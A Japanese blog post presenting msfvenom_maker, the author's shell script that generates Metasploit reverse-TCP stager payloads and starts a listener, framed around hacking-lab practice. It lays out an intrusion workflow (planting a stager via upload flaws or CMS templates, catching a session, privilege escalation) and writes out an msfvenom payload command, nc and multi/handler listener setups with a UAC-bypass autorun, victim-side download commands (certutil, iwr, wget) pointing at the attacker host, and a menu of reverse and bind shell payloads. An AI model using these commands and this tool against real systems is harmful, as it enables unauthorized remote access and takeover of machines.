前置き
適切な言い方は分かりませんが簡単に説明するならハッキング、詳しく話すなら脆弱性を使用しての侵入からのセッションの確率、そして権限昇格。
これらを行うにはある種作業的なステップがあります。
- アップロードにある脆弱性を利用したりCMSに編集してテンプレートを書き換えてstager(pwnにおけるstagerとは別にreverese tcpを行うpayloadと定義するもの)を仕込む
- msf(meterpreter)やnc -lvnp
なのでlistenする。 - server側でuploadや書き換えたstager payloadを実行する。
- sessionが確立する。
- 脆弱性を利用して権限昇格を行う。
この中で1については以下をよく使う。
しかし、metasploitableのmeterpreterには様々な機能が備わっており出来るならmeterpreterでsessionを確立させたい。
さらに言えば単にreverese shellをとった後、meterpreterにsessionを変更するのも有効な手だと考えている。
1については上記に貼ったreverese tcpを使うこともあるがmsfvenomでpayloadを作ることが最近は多い。
msfvenomについては下記チートシートを参考にpayloadを作っている。
MSFVenom Cheatsheet « Red Team Tutorials
例としてWindowsのmeterpreter payloadを上げる。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f exe > shell.exe
Windowsにアップロードするたびに必要になるものになる。
しかしLHOSTは変わるものであるしLPORTは同時にいくつかsessionを確立させて置きたい場合もある。
そのためpayloadをコピペするのは永続的ではない。
次にlistenの問題だ。
$ nc -lvnp 4444
は面倒くさいことはもちろんのこと
use exploit/multi/handler set PAYLOAD <Payload name> Set RHOST <Remote IP> set LHOST <Local IP> set LPORT <Local Port> Run
なんてもっとめんどくさい。なのでそこら辺を自動化してくれるスクリプトを書こうと思った。
作った後に気がついた
実は似たようなものがあることに。
上記は以下のfileを作って実行時に読み込ませる手法だ。

ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習
- 作者: IPUSIRON
- 出版社/メーカー: 翔泳社
- 発売日: 2018/12/07
- メディア: 単行本(ソフトカバー)
- この商品を含むブログを見る
meterpreter.rc
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 10.0.0.2 set AUTORUNSCRIPT exploit/windows/local/bypassuac exploit
msfconsole -r meterpreter.rc
自分が作った物の差異としてはset LHOSTが永続的であること。set AUTORUNSCRIPTまで実行出来ていないところである。
作ったもの
msfvenom_makerというものを作りました。 一言で言えば選択して自動でmsfvenomでreverese_tcp stager payloadを作りmsfでlistenするというものになります。
使い方は至って簡単。
実行権限を与えて実行するだけ。
$ chmod 755 msfvenom_maker.sh $ ./msfvenom_maker.sh [+] Your IP address 1 : 127.0.0.1 2 : 192.168.xxx.xxx 3 : 10.10.xx.xx [-] Select ip address : 3 [+] Your selected ip address : 10.10.xx.xx [-] Input listen port : 4444 Your LHOST is 10.10.xx.xx LPORT is 4444
実行したらlistenするLHOSTとLPORTを入力する。
arg1にLHOST, arg2にLPORTでも可。
するとpython SimpleHTTPServerをカレントディレクトリで開くかどうか聞かれ、payloadを選択する。
[-] Do you want to open SimpleHTTPServer on this directory? [y/N] : y [-] Enter the HTTP Server port (Default:80) : [*] Victim side download payload. [-] cmd.exe : certutil -urlcache -f http://10.10.xx.xx/shell shell [-] powershell.exe : iwr http://10.10.xx.xx/shell -OutFile shell [-] wget : wget http://10.10.xx.xx/shell Please select a payload. [-] Binaries Payloads [*] 1 : Linux Meterpreter Reverse Shel [*] 2 : Linux Meterpreter Reverse Shell x64 [*] 3 : Linux Bind Meterpreter Shell [*] 4 : Linux Bind Shell [*] 5 : Windows Meterpreter Reverse TCP Shell [*] 6 : Windows Meterpreter Reverse TCP Shell x64 [*] 7 : Windows Reverse TCP PowerShell x64 [*] 8 : Windows Reverse TCP Shell [*] 9 : Windows Reverse TCP Shell x64 [*] 10 : Mac Reverse Shell [*] 11 : Mac Bind Shell [-] Web Payloads [*] 12 : PHP Meterpreter Reverse TCP [*] 13 : ASP Meterpreter Reverse TCP [*] 14 : War [-] Scripting Payloads [*] 15 : Python Reverse Shell [*] 16 : Bash Unix Reverse Shell [*] 17 : Perl Unix Reverse shell
python SimpleHTTPServerはデフォルトNo.
victim側からwgetなどしたい時に使用してください。y, yes等を返答するとnew gnome-terminalでpython SimpleHTTPServerをオープンします。
LHOST、LPORTを選択出来るようにする前の時のデモですが、以下のようにLHOST、LPORTを指定するだけでstager payloadが作成でき、listen出来ます。
出来たpayloadをvictim側で実行しましょう。
exploit -jで実行しているためsessionに接続するには下記等が必要です。
msf > sessions 1
shell scriptなのでコマンドとして使えます。パスが通ったディレクトリに配置して実行権限を与えてください。
# cp msfvenom_maker directory in path # ex. $ echo $PATH /root/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin $ cp msfvenom_maker /root/bin $ chmod 755 /root/bin/msfvenom_maker $ msfvenom_maker
これで上記工程における124がほぼ対話のみで自動化されます。更に権限昇格についてもmsfのモジュールであるpost/multi/recon/local_exploit_suggesterなどが使えたりと手間が減ったりlinux相手であればLinEnum、WindowsについてはWindows-Exploit-Suggesterなどを使うかもしれないがmeterpreterにはdownload, uploadコマンドがあるため非常に便利です。
最後になりますが、脆弱性があったとして低位権限のユーザシェルを取るデモ動画を作りました。
Forumにも投稿しましたが、微妙なせいか悪いコメントを含むコメントがなくて困っています。
もしアドバイス、上位ツールなどがあれば紹介くださいますでしょうか。
あとがき
コードが属にあるcase文になってしまっていて拡張性に優れないのは自分でもとても残念です。
書いてるときには待ったく気が付きませんでしたし、msfvenomだけ自動化しようといったところでした。
書いているうちにshell scriptの強みを知りました。
shell scriptでは、色々なことが出来ます。今度はwfuzz, gobusterなどの列挙系を対話かつ自動で出来るようにしたいかなって思っています。

- 作者: Peter Kim,竹迫良範,廣田一貴,保要隆明,前田優人,三村聡志,美濃圭佑,八木橋優,渡部裕,株式会社クイープ
- 出版社/メーカー: マイナビ出版
- 発売日: 2019/01/29
- メディア: 単行本(ソフトカバー)
- この商品を含むブログを見る